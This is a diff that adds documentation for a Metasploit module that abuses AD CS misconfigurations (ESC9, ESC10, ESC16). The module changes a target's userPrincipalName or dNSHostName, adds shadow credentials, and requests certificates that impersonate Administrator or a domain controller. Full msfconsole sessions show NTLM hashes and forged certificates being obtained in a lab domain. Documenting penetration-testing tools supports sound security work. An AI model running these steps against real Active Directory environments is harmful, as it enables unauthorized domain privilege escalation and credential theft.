|
| 1 | +## Vulnerable Application |
| 2 | +This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object |
| 3 | +attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the |
| 4 | +certificate template, enabling operations such as authentication. PFX certificate files generated by this module are |
| 5 | +encrypted with a blank password. |
| 6 | + |
| 7 | +To perform the LDAP attribute update, the module requires write privileges over the |
| 8 | +target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user |
| 9 | +before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module |
| 10 | +to handle LDAP attribute updates. |
| 11 | + |
| 12 | + |
| 13 | +This module is capable of exploiting ESC9, ESC10, and ESC16. |
| 14 | + |
| 15 | +### Setup |
| 16 | +Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template. |
| 17 | +For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation. |
| 18 | + |
| 19 | +## Options |
| 20 | + |
| 21 | +### LDAPUsername |
| 22 | +The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`. |
| 23 | + |
| 24 | +### LDAPPassword |
| 25 | +The password for the `LDAPUsername` account. |
| 26 | + |
| 27 | +### LDAPDomain |
| 28 | +The domain of the `LDAPUsername`, e.g., `demo.local`. |
| 29 | + |
| 30 | +### CA |
| 31 | +The target certificate authority. |
| 32 | + |
| 33 | +### CERT_TEMPLATE |
| 34 | +The certificate template to issue, e.g., "User". |
| 35 | + |
| 36 | +### TARGET_USERNAME |
| 37 | +The username of the target account whose LDAP object will be updated and for whom the certificate will be requested. |
| 38 | + |
| 39 | +### UPDATE_LDAP_OBJECT |
| 40 | +The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`. |
| 41 | + |
| 42 | +### UPDATE_LDAP_OBJECT_VALUE |
| 43 | +The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`. |
| 44 | +If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case). |
| 45 | + |
| 46 | +### ALT_UPN |
| 47 | +An alternate UPN (User Principal Name) to set for the target user, e.g., `[email protected]`. |
| 48 | + |
| 49 | +### ALT_SID |
| 50 | +An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`. |
| 51 | + |
| 52 | +### ALT_DNS |
| 53 | +An alternate DNS hostname to set for the target user, e.g., `host.domain.local`. |
| 54 | + |
| 55 | +## Verification Steps |
| 56 | + |
| 57 | +1. Start msfconsole |
| 58 | +1. Do: `use esc_update_ldap_object` |
| 59 | +1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME` |
| 60 | +1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for |
| 61 | +1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting |
| 62 | +1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator` |
| 63 | +1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use |
| 64 | +1. Run the module |
| 65 | +1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file. |
| 66 | +1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation. |
| 67 | + |
| 68 | +## Scenarios |
| 69 | + |
| 70 | +### ESC9 - Update userPrincipalName to Administrator |
| 71 | +``` |
| 72 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200 |
| 73 | +rhosts => 172.16.199.200 |
| 74 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389 |
| 75 | +ldaprport => 389 |
| 76 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2 |
| 77 | +target_username => user2 |
| 78 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue |
| 79 | +ldapdomain => kerberos.issue |
| 80 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword! |
| 81 | +ldappassword => N0tpassword! |
| 82 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1 |
| 83 | +ldapusername => user1 |
| 84 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template |
| 85 | +cert_template => SpencerTest |
| 86 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA |
| 87 | +ca => kerberos-DC2-CA |
| 88 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator |
| 89 | +UPDATE_LDAP_OBJECT_VALUE => Administrator |
| 90 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run |
| 91 | +[*] Running module against 172.16.199.200 |
| 92 | +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute |
| 93 | +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute |
| 94 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 95 | +[*] Current value of user2's userPrincipalName: user2 |
| 96 | +[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator... |
| 97 | +[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator |
| 98 | +[+] The operation completed successfully! |
| 99 | +[*] 172.16.199.200:445 - Adding shadow credentials for user2 |
| 100 | +[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials |
| 101 | +[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials |
| 102 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 103 | +[*] Discovering base DN automatically |
| 104 | +[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue |
| 105 | +[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx |
| 106 | +[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d |
| 107 | +[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket |
| 108 | +[*] 172.16.199.200:445 - Getting hash for user2 |
| 109 | +[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate: |
| 110 | +[+] 172.16.199.200:88 - Received a valid TGT-Response |
| 111 | +[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin |
| 112 | +[*] 172.16.199.200:88 - Getting NTLM hash for [email protected] |
| 113 | +[+] 172.16.199.200:88 - Received a valid TGS-Response |
| 114 | +[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin |
| 115 | +[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f |
| 116 | +[+] 172.16.199.200:445 - The requested certificate was issued. |
| 117 | +[*] 172.16.199.200:445 - Certificate Policies: |
| 118 | +[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication) |
| 119 | +[*] 172.16.199.200:445 - Certificate UPN: Administrator |
| 120 | +[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx |
| 121 | +[*] 172.16.199.200:445 - reverting ldap object |
| 122 | +[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials |
| 123 | +[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials |
| 124 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 125 | +[*] Discovering base DN automatically |
| 126 | +[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue |
| 127 | +[*] No matching entries found - check device ID |
| 128 | +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute |
| 129 | +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute |
| 130 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 131 | +[*] Current value of user2's userPrincipalName: Administrator |
| 132 | +[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2... |
| 133 | +[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2 |
| 134 | +[+] The operation completed successfully! |
| 135 | +[*] Auxiliary module execution completed |
| 136 | +``` |
| 137 | + |
| 138 | +### ESC9 - Update dnsHostName to `dc2.kerberos.issue` |
| 139 | +``` |
| 140 | + msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200 |
| 141 | +rhosts => 172.16.199.200 |
| 142 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389 |
| 143 | +ldaprport => 389 |
| 144 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$" |
| 145 | +target_username => Test2$ |
| 146 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue |
| 147 | +UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue |
| 148 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName |
| 149 | +UPDATE_LDAP_OBJECT => dNSHostName |
| 150 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA |
| 151 | +CA => kerberos-DC2-CA |
| 152 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns |
| 153 | +CERT_TEMPLATE => ESC9-Template-Dns |
| 154 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue |
| 155 | +ldapdomain => kerberos.issue |
| 156 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword! |
| 157 | +ldappassword => N0tpassword! |
| 158 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$ |
| 159 | +ldapusername => Test1$ |
| 160 | +msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run |
| 161 | +[*] Running module against 172.16.199.200 |
| 162 | +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute |
| 163 | +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute |
| 164 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 165 | +[*] Current value of Test2$'s dNSHostName: |
| 166 | +[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue... |
| 167 | +[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue |
| 168 | +[+] The operation completed successfully! |
| 169 | +[*] 172.16.199.200:445 - Adding shadow credentials for Test2$ |
| 170 | +[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials |
| 171 | +[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials |
| 172 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 173 | +[*] Discovering base DN automatically |
| 174 | +[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue |
| 175 | +[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx |
| 176 | +[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58 |
| 177 | +[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket |
| 178 | +[*] 172.16.199.200:445 - Getting hash for Test2$ |
| 179 | +[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate: |
| 180 | +[+] 172.16.199.200:88 - Received a valid TGT-Response |
| 181 | +[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin |
| 182 | +[*] 172.16.199.200:88 - Getting NTLM hash for [email protected] |
| 183 | +[+] 172.16.199.200:88 - Received a valid TGS-Response |
| 184 | +[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin |
| 185 | +[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f |
| 186 | +[+] 172.16.199.200:445 - The requested certificate was issued. |
| 187 | +[*] 172.16.199.200:445 - Certificate Policies: |
| 188 | +[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication) |
| 189 | +[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue |
| 190 | +[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx |
| 191 | +[*] 172.16.199.200:445 - Removing shadow credential |
| 192 | +[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials |
| 193 | +[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials |
| 194 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 195 | +[*] Discovering base DN automatically |
| 196 | +[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue |
| 197 | +[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58 |
| 198 | +[*] 172.16.199.200:445 - Reverting ldap object |
| 199 | +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute |
| 200 | +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute |
| 201 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 202 | +[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue... |
| 203 | +[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue |
| 204 | +[+] The operation completed successfully! |
| 205 | +[*] Auxiliary module execution completed |
| 206 | +``` |
| 207 | + |
| 208 | +For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation. |
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